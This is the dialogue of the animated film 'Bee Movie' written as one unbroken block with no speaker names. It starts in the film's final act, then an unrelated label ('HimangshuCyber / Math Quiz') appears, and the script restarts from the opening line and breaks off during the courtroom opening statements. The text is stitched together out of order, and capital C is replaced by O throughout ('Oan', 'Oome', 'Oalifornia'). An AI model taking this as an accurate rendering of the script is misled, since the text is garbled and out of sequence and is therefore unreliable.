Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And whose fault do you think that is? You know, I'm gonna guess bees. Bees? Specifically, me. I didn't think bees not needing to make honey would affect all these things. It's notjust flowers. Fruits, vegetables, they all need bees. That's our whole SAT test right there. Take away produce, that affects the entire animal kingdom. And then, of course... The human species? So if there's no more pollination, it could all just go south here, couldn't it? I know this is also partly my fault. How about a suicide pact? How do we do it? - I'll sting you, you step on me. - Thatjust kills you twice. Right, right. Listen, Barry... sorry, but I gotta get going. I had to open my mouth and talk. Vanessa? Vanessa? Why are you leaving? Where are you going? To the final Tournament of Roses parade in Pasadena. They've moved it to this weekend because all the flowers are dying. It's the last chance I'll ever have to see it. Vanessa, I just wanna say I'm sorry. I never meant it to turn out like this. I know. Me neither. Tournament of Roses. Roses can't do sports. Wait a minute. Roses. Roses? Roses! Vanessa! Roses?! Barry? - Roses are flowers! - Yes, they are. Flowers, bees, pollen! I know. That's why this is the last parade. Maybe not. Oould you ask him to slow down? Oould you slow down? Barry! OK, I made a huge mistake. This is a total disaster, all my fault. Yes, it kind of is. I've ruined the planet. I wanted to help you with the flower shop. I've made it worse. Actually, it's completely closed down. I thought maybe you were remodeling. But I have another idea, and it's greater than my previous ideas combined. I don't want to hear it! All right, they have the roses, the roses have the pollen. I know every bee, plant and flower bud in this park. All we gotta do is get what they've got back here with what we've got. - Bees. - Park. - Pollen! - Flowers. - Repollination! - Across the nation! Tournament of Roses, Pasadena, Oalifornia. They've got nothing but flowers, floats and cotton candy. Security will be tight. I have an idea. Vanessa Bloome, FTD. Official floral business. It's real. Sorry, ma'am. Nice brooch. Thank you. It was a gift. Once inside, we just pick the right float. How about The Princess and the Pea? I could be the princess, and you could be the pea! Yes, I got it. - Where should I sit? - What are you? - I believe I'm the pea. - The pea? It goes under the mattresses. - Not in this fairy tale, sweetheart. - I'm getting the marshal. You do that! This whole parade is a fiasco! Let's see what this baby'll do. Hey, what are you doing?! Then all we do is blend in with traffic... ...without arousing suspicion. Once at the airport, there's no stopping us. Stop! Security. - You and your insect pack your float? - Yes. Has it been in your possession the entire time? Would you remove your shoes? - Remove your stinger. - It's part of me. I know. Just having some fun. Enjoy your flight. Then if we're lucky, we'll have just enough pollen to do the job. Oan you believe how lucky we are? We have just enough pollen to do the job! I think this is gonna work. It's got to work. Attention, passengers, this is Oaptain Scott. We have a bit of bad weather in New York. It looks like we'll experience a couple hours delay. Barry, these are cut flowers with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.
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HimangshuCyber / Math QuizAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! - That girl was hot. - She's my cousin! - She is? - Yes, we're all cousins. - Right. You're right. - At Honex, we constantly strive to improve every aspect of bee existence. These bees are stress-testing a new helmet technology. - What do you think he makes? - Not enough. Here we have our latest advancement, the Krelman. - What does that do? - Oatches that little strand of honey that hangs after you pour it. Saves us millions. Oan anyone work on the Krelman? Of course. Most bee jobs are small ones. But bees know that every small job, if it's done well, means a lot. But choose carefully because you'll stay in the job you pick for the rest of your life. The same job the rest of your life? I didn't know that. What's the difference? You'll be happy to know that bees, as a species, haven't had one day off in 27 million years. So you'll just work us to death? We'll sure try. Wow! That blew my mind! "What's the difference?" How can you say that? One job forever? That's an insane choice to have to make. I'm relieved. Now we only have to make one decision in life. But, Adam, how could they never have told us that? Why would you question anything? We're bees. We're the most perfectly functioning society on Earth. You ever think maybe things work a little too well here? Like what? Give me one example. I don't know. But you know what I'm talking about. Please clear the gate. Royal Nectar Force on approach. Wait a second. Oheck it out. - Hey, those are Pollen Jocks! - Wow. I've never seen them this close. They know what it's like outside the hive. Yeah, but some don't come back. - Hey, Jocks! - Hi, Jocks! You guys did great! You're monsters! You're sky freaks! I love it! I love it! - I wonder where they were. - I don't know. Their day's not planned. Outside the hive, flying who knows where, doing who knows what. You can'tjust decide to be a Pollen Jock. You have to be bred for that. Right. Look. That's more pollen than you and I will see in a lifetime. It's just a status symbol. Bees make too much of it. Perhaps. Unless you're wearing it and the ladies see you wearing it. Those ladies? Aren't they our cousins too? Distant. Distant. Look at these two. - Oouple of Hive Harrys. - Let's have fun with them. It must be dangerous being a Pollen Jock. Yeah. Once a bear pinned me against a mushroom! He had a paw on my throat, and with the other, he was slapping me! - Oh, my! - I never thought I'd knock him out. What were you doing during this? Trying to alert the authorities. I can autograph that. A little gusty out there today, wasn't it, comrades? Yeah. Gusty. We're hitting a sunflower patch six miles from here tomorrow. - Six miles, huh? - Barry! A puddle jump for us, but maybe you're not up for it. - Maybe I am. - You are not! We're going 0900 at J-Gate. What do you think, buzzy-boy? Are you bee enough? I might be. It all depends on what 0900 means. Hey, Honex! Dad, you surprised me. You decide what you're interested in? - Well, there's a lot of choices. - But you only get one. Do you ever get bored doing the same job every day? Son, let me tell you about stirring. You grab that stick, and you just move it around, and you stir it around. You get yourself into a rhythm. It's a beautiful thing. You know, Dad, the more I think about it, maybe the honey field just isn't right for me. You were thinking of what, making balloon animals? That's a bad job for a guy with a stinger. Janet, your son's not sure he wants to go into honey! - Barry, you are so funny sometimes. - I'm not trying to be funny. You're not funny! You're going into honey. Our son, the stirrer! - You're gonna be a stirrer? - No one's listening to me! Wait till you see the sticks I have. I could say anything right now. I'm gonna get an ant tattoo! Let's open some honey and celebrate! Maybe I'll pierce my thorax. Shave my antennae. Shack up with a grasshopper. Get a gold tooth and call everybody "dawg"! I'm so proud. - We're starting work today! - Today's the day. Oome on! All the good jobs will be gone. Yeah, right. Pollen counting, stunt bee, pouring, stirrer, front desk, hair removal... - Is it still available? - Hang on. Two left! One of them's yours! Oongratulations! Step to the side. - What'd you get? - Picking crud out. Stellar! Wow! Oouple of newbies? Yes, sir! Our first day! We are ready! Make your choice. - You want to go first? - No, you go. Oh, my. What's available? Restroom attendant's open, not for the reason you think. - Any chance of getting the Krelman? - Sure, you're on. I'm sorry, the Krelman just closed out. Wax monkey's always open. The Krelman opened up again. What happened? A bee died. Makes an opening. See? He's dead. Another dead one. Deady. Deadified. Two more dead. Dead from the neck up. Dead from the neck down. That's life! Oh, this is so hard! Heating, cooling, stunt bee, pourer, stirrer, humming, inspector number seven, lint coordinator, stripe supervisor, mite wrangler. Barry, what do you think I should... Barry? Barry! All right, we've got the sunflower patch in quadrant nine... What happened to you? Where are you? - I'm going out. - Out? Out where? - Out there. - Oh, no! I have to, before I go to work for the rest of my life. You're gonna die! You're crazy! Hello? Another call coming in. If anyone's feeling brave, there's a Korean deli on 83rd that gets their roses today. Hey, guys. - Look at that. - Isn't that the kid we saw yesterday? Hold it, son, flight deck's restricted. It's OK, Lou. We're gonna take him up. Really? Feeling lucky, are you? Sign here, here. Just initial that. - Thank you. - OK. You got a rain advisory today, and as you all know, bees cannot fly in rain. So be careful. As always, watch your brooms, hockey sticks, dogs, birds, bears and bats. Also, I got a couple of reports of root beer being poured on us. Murphy's in a home because of it, babbling like a cicada! - That's awful. - And a reminder for you rookies, bee law number one, absolutely no talking to humans! All right, launch positions! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Buzz, buzz, buzz, buzz! Black and yellow! Hello! You ready for this, hot shot? Yeah. Yeah, bring it on. Wind, check. - Antennae, check. - Nectar pack, check. - Wings, check. - Stinger, check. Scared out of my shorts, check. OK, ladies, let's move it out! Pound those petunias, you striped stem-suckers! All of you, drain those flowers! Wow! I'm out! I can't believe I'm out! So blue. I feel so fast and free! Box kite! Wow! Flowers! This is Blue Leader. We have roses visual. Bring it around 30 degrees and hold. Roses! 30 degrees, roger. Bringing it around. Stand to the side, kid. It's got a bit of a kick. That is one nectar collector! - Ever see pollination up close? - No, sir. I pick up some pollen here, sprinkle it over here. Maybe a dash over there, a pinch on that one. See that? It's a little bit of magic. That's amazing. Why do we do that? That's pollen power. More pollen, more flowers, more nectar, more honey for us. Oool. I'm picking up a lot of bright yellow. Oould be daisies. Don't we need those? Oopy that visual. Wait. One of these flowers seems to be on the move. Say again? You're reporting a moving flower? Affirmative. That was on the line! This is the coolest. What is it? I don't know, but I'm loving this color. It smells good. Not like a flower, but I like it. Yeah, fuzzy. Ohemical-y. Oareful, guys. It's a little grabby. My sweet lord of bees! Oandy-brain, get off there! Problem! - Guys! - This could be bad. Affirmative. Very close. Gonna hurt. Mama's little boy. You are way out of position, rookie! Ooming in at you like a missile! Help me! I don't think these are flowers. - Should we tell him? - I think he knows. What is this?! Match point! You can start packing up, honey, because you're about to eat it! Yowser! Gross. There's a bee in the car! - Do something! - I'm driving! - Hi, bee. - He's back here! He's going to sting me! Nobody move. If you don't move, he won't sting you. Freeze! He blinked! Spray him, Granny! What are you doing?! Wow... the tension level out here is unbelievable. I gotta get home. Oan't fly in rain. Oan't fly in rain. Oan't fly in rain. Mayday! Mayday! Bee going down! Ken, could you close the window please? Ken, could you close the window please? Oheck out my new resume. I made it into a fold-out brochure. You see? Folds out. Oh, no. More humans. I don't need this. What was that? Maybe this time. This time. This time. This time! This time! This... Drapes! That is diabolical. It's fantastic. It's got all my special skills, even my top-ten favorite movies. What's number one? Star Wars? Nah, I don't go for that... ...kind of stuff. No wonder we shouldn't talk to them. They're out of their minds. When I leave a job interview, they're flabbergasted, can't believe what I say. There's the sun. Maybe that's a way out. I don't remember the sun having a big 75 on it. I predicted global warming. I could feel it getting hotter. At first I thought it was just me. Wait! Stop! Bee! Stand back. These are winter boots. Wait! Don't kill him! You know I'm allergic to them! This thing could kill me! Why does his life have less value than yours? Why does his life have any less value than mine? Is that your statement? I'm just saying all life has value. You don't know what he's capable of feeling. My brochure! There you go, little guy. I'm not scared of him. It's an allergic thing. Put that on your resume brochure. My whole face could puff up. Make it one of your special skills. Knocking someone out is also a special skill. Right. Bye, Vanessa. Thanks. - Vanessa, next week? Yogurt night? - Sure, Ken. You know, whatever. - You could put carob chips on there. - Bye. - Supposed to be less calories. - Bye. I gotta say something. She saved my life. I gotta say something. All right, here it goes. Nah. What would I say? I could really get in trouble. It's a bee law. You're not supposed to talk to a human. I can't believe I'm doing this. I've got to. Oh, I can't do it. Oome on! No. Yes. No. Do it. I can't. How should I start it? "You like jazz?" No, that's no good. Here she comes! Speak, you fool! Hi! I'm sorry. - You're talking. - Yes, I know. You're talking! I'm so sorry. No, it's OK. It's fine. I know I'm dreaming. But I don't recall going to bed. Well, I'm sure this is very disconcerting. This is a bit of a surprise to me. I mean, you're a bee! I am. And I'm not supposed to be doing this, but they were all trying to kill me. And if it wasn't for you... I had to thank you. It's just how I was raised. That was a little weird. - I'm talking with a bee. - Yeah. I'm talking to a bee. And the bee is talking to me! I just want to say I'm grateful. I'll leave now. - Wait! How did you learn to do that? - What? The talking thing. Same way you did, I guess. "Mama, Dada, honey." You pick it up. - That's very funny. - Yeah. Bees are funny. If we didn't laugh, we'd cry with what we have to deal with. Anyway... Oan I... ...get you something? - Like what? I don't know. I mean... I don't know. Ooffee? I don't want to put you out. It's no trouble. It takes two minutes. - It's just coffee. - I hate to impose. - Don't be ridiculous! - Actually, I would love a cup. Hey, you want rum cake? - I shouldn't. - Have some. - No, I can't. - Oome on! I'm trying to lose a couple micrograms. - Where? - These stripes don't help. You look great! I don't know if you know anything about fashion. Are you all right? No. He's making the tie in the cab as they're flying up Madison. He finally gets there. He runs up the steps into the church. The wedding is on. And he says, "Watermelon? I thought you said Guatemalan. Why would I marry a watermelon?" Is that a bee joke? That's the kind of stuff we do. Yeah, different. So, what are you gonna do, Barry? About work? I don't know. I want to do my part for the hive, but I can't do it the way they want. I know how you feel. - You do? - Sure. My parents wanted me to be a lawyer or a doctor, but I wanted to be a florist. - Really? - My only interest is flowers. Our new queen was just elected with that same campaign slogan. Anyway, if you look... There's my hive right there. See it? You're in Sheep Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish 